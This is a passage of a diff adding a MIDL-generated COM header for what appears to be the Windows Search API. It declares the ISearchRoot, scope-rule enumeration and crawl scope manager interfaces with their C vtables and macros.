+            /* [retval][out] */ __RPC__out AUTH_TYPE *pAuthType) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_User( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszUser) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_User( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszUser) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Password( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPassword) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Password( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszPassword) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchRootVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchRoot * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchRoot * This);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Schedule )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszTaskArg);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Schedule )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszTaskArg);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RootURL )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RootURL )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszURL);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_IsHierarchical )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ BOOL fIsHierarchical);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsHierarchical )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out BOOL *pfIsHierarchical);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProvidesNotifications )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ BOOL fProvidesNotifications);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProvidesNotifications )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out BOOL *pfProvidesNotifications);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UseNotificationsOnly )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ BOOL fUseNotificationsOnly);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UseNotificationsOnly )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out BOOL *pfUseNotificationsOnly);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EnumerationDepth )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ DWORD dwDepth);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnumerationDepth )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwDepth);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HostDepth )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ DWORD dwDepth);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HostDepth )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwDepth);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FollowDirectories )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ BOOL fFollowDirectories);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FollowDirectories )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out BOOL *pfFollowDirectories);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AuthenticationType )( 
+            __RPC__in ISearchRoot * This,
+            /* [in] */ AUTH_TYPE authType);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthenticationType )( 
+            __RPC__in ISearchRoot * This,
+            /* [retval][out] */ __RPC__out AUTH_TYPE *pAuthType);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_User )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszUser);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_User )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszUser);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Password )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPassword);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Password )( 
+            __RPC__in ISearchRoot * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszPassword);
+        
+        END_INTERFACE
+    } ISearchRootVtbl;
+
+    interface ISearchRoot
+    {
+        CONST_VTBL struct ISearchRootVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchRoot_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchRoot_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchRoot_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchRoot_put_Schedule(This,pszTaskArg)	\
+    ( (This)->lpVtbl -> put_Schedule(This,pszTaskArg) ) 
+
+#define ISearchRoot_get_Schedule(This,ppszTaskArg)	\
+    ( (This)->lpVtbl -> get_Schedule(This,ppszTaskArg) ) 
+
+#define ISearchRoot_put_RootURL(This,pszURL)	\
+    ( (This)->lpVtbl -> put_RootURL(This,pszURL) ) 
+
+#define ISearchRoot_get_RootURL(This,ppszURL)	\
+    ( (This)->lpVtbl -> get_RootURL(This,ppszURL) ) 
+
+#define ISearchRoot_put_IsHierarchical(This,fIsHierarchical)	\
+    ( (This)->lpVtbl -> put_IsHierarchical(This,fIsHierarchical) ) 
+
+#define ISearchRoot_get_IsHierarchical(This,pfIsHierarchical)	\
+    ( (This)->lpVtbl -> get_IsHierarchical(This,pfIsHierarchical) ) 
+
+#define ISearchRoot_put_ProvidesNotifications(This,fProvidesNotifications)	\
+    ( (This)->lpVtbl -> put_ProvidesNotifications(This,fProvidesNotifications) ) 
+
+#define ISearchRoot_get_ProvidesNotifications(This,pfProvidesNotifications)	\
+    ( (This)->lpVtbl -> get_ProvidesNotifications(This,pfProvidesNotifications) ) 
+
+#define ISearchRoot_put_UseNotificationsOnly(This,fUseNotificationsOnly)	\
+    ( (This)->lpVtbl -> put_UseNotificationsOnly(This,fUseNotificationsOnly) ) 
+
+#define ISearchRoot_get_UseNotificationsOnly(This,pfUseNotificationsOnly)	\
+    ( (This)->lpVtbl -> get_UseNotificationsOnly(This,pfUseNotificationsOnly) ) 
+
+#define ISearchRoot_put_EnumerationDepth(This,dwDepth)	\
+    ( (This)->lpVtbl -> put_EnumerationDepth(This,dwDepth) ) 
+
+#define ISearchRoot_get_EnumerationDepth(This,pdwDepth)	\
+    ( (This)->lpVtbl -> get_EnumerationDepth(This,pdwDepth) ) 
+
+#define ISearchRoot_put_HostDepth(This,dwDepth)	\
+    ( (This)->lpVtbl -> put_HostDepth(This,dwDepth) ) 
+
+#define ISearchRoot_get_HostDepth(This,pdwDepth)	\
+    ( (This)->lpVtbl -> get_HostDepth(This,pdwDepth) ) 
+
+#define ISearchRoot_put_FollowDirectories(This,fFollowDirectories)	\
+    ( (This)->lpVtbl -> put_FollowDirectories(This,fFollowDirectories) ) 
+
+#define ISearchRoot_get_FollowDirectories(This,pfFollowDirectories)	\
+    ( (This)->lpVtbl -> get_FollowDirectories(This,pfFollowDirectories) ) 
+
+#define ISearchRoot_put_AuthenticationType(This,authType)	\
+    ( (This)->lpVtbl -> put_AuthenticationType(This,authType) ) 
+
+#define ISearchRoot_get_AuthenticationType(This,pAuthType)	\
+    ( (This)->lpVtbl -> get_AuthenticationType(This,pAuthType) ) 
+
+#define ISearchRoot_put_User(This,pszUser)	\
+    ( (This)->lpVtbl -> put_User(This,pszUser) ) 
+
+#define ISearchRoot_get_User(This,ppszUser)	\
+    ( (This)->lpVtbl -> get_User(This,ppszUser) ) 
+
+#define ISearchRoot_put_Password(This,pszPassword)	\
+    ( (This)->lpVtbl -> put_Password(This,pszPassword) ) 
+
+#define ISearchRoot_get_Password(This,ppszPassword)	\
+    ( (This)->lpVtbl -> get_Password(This,ppszPassword) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchRoot_INTERFACE_DEFINED__ */
+
+
+#ifndef __IEnumSearchRoots_INTERFACE_DEFINED__
+#define __IEnumSearchRoots_INTERFACE_DEFINED__
+
+/* interface IEnumSearchRoots */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IEnumSearchRoots;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF52")
+    IEnumSearchRoots : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Next( 
+            /* [in] */ ULONG celt,
+            /* [size_is][out] */ __RPC__out_ecount_full(celt) ISearchRoot **rgelt,
+            /* [unique][out][in] */ __RPC__inout_opt ULONG *pceltFetched) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Skip( 
+            /* [in] */ ULONG celt) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Clone( 
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchRoots **ppenum) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IEnumSearchRootsVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IEnumSearchRoots * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IEnumSearchRoots * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IEnumSearchRoots * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Next )( 
+            __RPC__in IEnumSearchRoots * This,
+            /* [in] */ ULONG celt,
+            /* [size_is][out] */ __RPC__out_ecount_full(celt) ISearchRoot **rgelt,
+            /* [unique][out][in] */ __RPC__inout_opt ULONG *pceltFetched);
+        
+        HRESULT ( STDMETHODCALLTYPE *Skip )( 
+            __RPC__in IEnumSearchRoots * This,
+            /* [in] */ ULONG celt);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reset )( 
+            __RPC__in IEnumSearchRoots * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Clone )( 
+            __RPC__in IEnumSearchRoots * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchRoots **ppenum);
+        
+        END_INTERFACE
+    } IEnumSearchRootsVtbl;
+
+    interface IEnumSearchRoots
+    {
+        CONST_VTBL struct IEnumSearchRootsVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IEnumSearchRoots_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IEnumSearchRoots_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IEnumSearchRoots_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IEnumSearchRoots_Next(This,celt,rgelt,pceltFetched)	\
+    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) 
+
+#define IEnumSearchRoots_Skip(This,celt)	\
+    ( (This)->lpVtbl -> Skip(This,celt) ) 
+
+#define IEnumSearchRoots_Reset(This)	\
+    ( (This)->lpVtbl -> Reset(This) ) 
+
+#define IEnumSearchRoots_Clone(This,ppenum)	\
+    ( (This)->lpVtbl -> Clone(This,ppenum) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IEnumSearchRoots_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0011 */
+/* [local] */ 
+
+typedef /* [v1_enum] */ 
+enum _FOLLOW_FLAGS
+    {
+        FF_INDEXCOMPLEXURLS	= 0x1,
+        FF_SUPPRESSINDEXING	= 0x2
+    } 	FOLLOW_FLAGS;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0011_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0011_v0_0_s_ifspec;
+
+#ifndef __ISearchScopeRule_INTERFACE_DEFINED__
+#define __ISearchScopeRule_INTERFACE_DEFINED__
+
+/* interface ISearchScopeRule */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchScopeRule;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF53")
+    ISearchScopeRule : public IUnknown
+    {
+    public:
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PatternOrURL( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszPatternOrURL) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsIncluded( 
+            /* [retval][out] */ __RPC__out BOOL *pfIsIncluded) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsDefault( 
+            /* [retval][out] */ __RPC__out BOOL *pfIsDefault) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FollowFlags( 
+            /* [retval][out] */ __RPC__out DWORD *pFollowFlags) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchScopeRuleVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchScopeRule * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchScopeRule * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchScopeRule * This);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PatternOrURL )( 
+            __RPC__in ISearchScopeRule * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszPatternOrURL);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsIncluded )( 
+            __RPC__in ISearchScopeRule * This,
+            /* [retval][out] */ __RPC__out BOOL *pfIsIncluded);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsDefault )( 
+            __RPC__in ISearchScopeRule * This,
+            /* [retval][out] */ __RPC__out BOOL *pfIsDefault);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FollowFlags )( 
+            __RPC__in ISearchScopeRule * This,
+            /* [retval][out] */ __RPC__out DWORD *pFollowFlags);
+        
+        END_INTERFACE
+    } ISearchScopeRuleVtbl;
+
+    interface ISearchScopeRule
+    {
+        CONST_VTBL struct ISearchScopeRuleVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchScopeRule_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchScopeRule_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchScopeRule_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchScopeRule_get_PatternOrURL(This,ppszPatternOrURL)	\
+    ( (This)->lpVtbl -> get_PatternOrURL(This,ppszPatternOrURL) ) 
+
+#define ISearchScopeRule_get_IsIncluded(This,pfIsIncluded)	\
+    ( (This)->lpVtbl -> get_IsIncluded(This,pfIsIncluded) ) 
+
+#define ISearchScopeRule_get_IsDefault(This,pfIsDefault)	\
+    ( (This)->lpVtbl -> get_IsDefault(This,pfIsDefault) ) 
+
+#define ISearchScopeRule_get_FollowFlags(This,pFollowFlags)	\
+    ( (This)->lpVtbl -> get_FollowFlags(This,pFollowFlags) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchScopeRule_INTERFACE_DEFINED__ */
+
+
+#ifndef __IEnumSearchScopeRules_INTERFACE_DEFINED__
+#define __IEnumSearchScopeRules_INTERFACE_DEFINED__
+
+/* interface IEnumSearchScopeRules */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IEnumSearchScopeRules;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF54")
+    IEnumSearchScopeRules : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Next( 
+            /* [in] */ ULONG celt,
+            /* [size_is][out] */ __RPC__out_ecount_full(celt) ISearchScopeRule **pprgelt,
+            /* [unique][out][in] */ __RPC__inout_opt ULONG *pceltFetched) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Skip( 
+            /* [in] */ ULONG celt) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Clone( 
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchScopeRules **ppenum) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IEnumSearchScopeRulesVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IEnumSearchScopeRules * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IEnumSearchScopeRules * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IEnumSearchScopeRules * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Next )( 
+            __RPC__in IEnumSearchScopeRules * This,
+            /* [in] */ ULONG celt,
+            /* [size_is][out] */ __RPC__out_ecount_full(celt) ISearchScopeRule **pprgelt,
+            /* [unique][out][in] */ __RPC__inout_opt ULONG *pceltFetched);
+        
+        HRESULT ( STDMETHODCALLTYPE *Skip )( 
+            __RPC__in IEnumSearchScopeRules * This,
+            /* [in] */ ULONG celt);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reset )( 
+            __RPC__in IEnumSearchScopeRules * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Clone )( 
+            __RPC__in IEnumSearchScopeRules * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchScopeRules **ppenum);
+        
+        END_INTERFACE
+    } IEnumSearchScopeRulesVtbl;
+
+    interface IEnumSearchScopeRules
+    {
+        CONST_VTBL struct IEnumSearchScopeRulesVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IEnumSearchScopeRules_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IEnumSearchScopeRules_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IEnumSearchScopeRules_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IEnumSearchScopeRules_Next(This,celt,pprgelt,pceltFetched)	\
+    ( (This)->lpVtbl -> Next(This,celt,pprgelt,pceltFetched) ) 
+
+#define IEnumSearchScopeRules_Skip(This,celt)	\
+    ( (This)->lpVtbl -> Skip(This,celt) ) 
+
+#define IEnumSearchScopeRules_Reset(This)	\
+    ( (This)->lpVtbl -> Reset(This) ) 
+
+#define IEnumSearchScopeRules_Clone(This,ppenum)	\
+    ( (This)->lpVtbl -> Clone(This,ppenum) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IEnumSearchScopeRules_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0013 */
+/* [local] */ 
+
+typedef /* [public][public] */ 
+enum __MIDL___MIDL_itf_searchapi_0000_0013_0001
+    {
+        CLUSIONREASON_UNKNOWNSCOPE	= 0,
+        CLUSIONREASON_DEFAULT	= 1,
+        CLUSIONREASON_USER	= 2,
+        CLUSIONREASON_GROUPPOLICY	= 3
+    } 	CLUSION_REASON;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0013_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0013_v0_0_s_ifspec;
+
+#ifndef __ISearchCrawlScopeManager_INTERFACE_DEFINED__
+#define __ISearchCrawlScopeManager_INTERFACE_DEFINED__
+
+/* interface ISearchCrawlScopeManager */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchCrawlScopeManager;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF55")
+    ISearchCrawlScopeManager : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE AddDefaultScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ DWORD fFollowFlags) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE AddRoot( 
+            /* [in] */ __RPC__in_opt ISearchRoot *pSearchRoot) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RemoveRoot( 
+            /* [in] */ __RPC__in LPCWSTR pszURL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE EnumerateRoots( 
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchRoots **ppSearchRoots) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE AddHierarchicalScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fDefault,
+            /* [in] */ BOOL fOverrideChildren) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE AddUserScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fOverrideChildren,
+            /* [in] */ DWORD fFollowFlags) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RemoveScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRule) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE EnumerateScopeRules( 
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchScopeRules **ppSearchScopeRules) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE HasParentScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasParentRule) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE HasChildScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasChildRule) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IncludedInCrawlScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfIsIncluded) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IncludedInCrawlScopeEx( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [out] */ __RPC__out BOOL *pfIsIncluded,
+            /* [out] */ __RPC__out CLUSION_REASON *pReason) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RevertToDefaultScopes( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SaveAll( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetParentScopeVersionId( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out LONG *plScopeId) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RemoveDefaultScopeRule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchCrawlScopeManagerVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchCrawlScopeManager * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchCrawlScopeManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddDefaultScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ DWORD fFollowFlags);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRoot )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [in] */ __RPC__in_opt ISearchRoot *pSearchRoot);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveRoot )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [in] */ __RPC__in LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateRoots )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchRoots **ppSearchRoots);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddHierarchicalScope )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fDefault,
+            /* [in] */ BOOL fOverrideChildren);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddUserScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fOverrideChildren,
+            /* [in] */ DWORD fFollowFlags);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateScopeRules )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchScopeRules **ppSearchScopeRules);
+        
+        HRESULT ( STDMETHODCALLTYPE *HasParentScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasParentRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *HasChildScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasChildRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *IncludedInCrawlScope )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfIsIncluded);
+        
+        HRESULT ( STDMETHODCALLTYPE *IncludedInCrawlScopeEx )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [out] */ __RPC__out BOOL *pfIsIncluded,
+            /* [out] */ __RPC__out CLUSION_REASON *pReason);
+        
+        HRESULT ( STDMETHODCALLTYPE *RevertToDefaultScopes )( 
+            __RPC__in ISearchCrawlScopeManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *SaveAll )( 
+            __RPC__in ISearchCrawlScopeManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParentScopeVersionId )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out LONG *plScopeId);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveDefaultScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        END_INTERFACE
+    } ISearchCrawlScopeManagerVtbl;
+
+    interface ISearchCrawlScopeManager
+    {
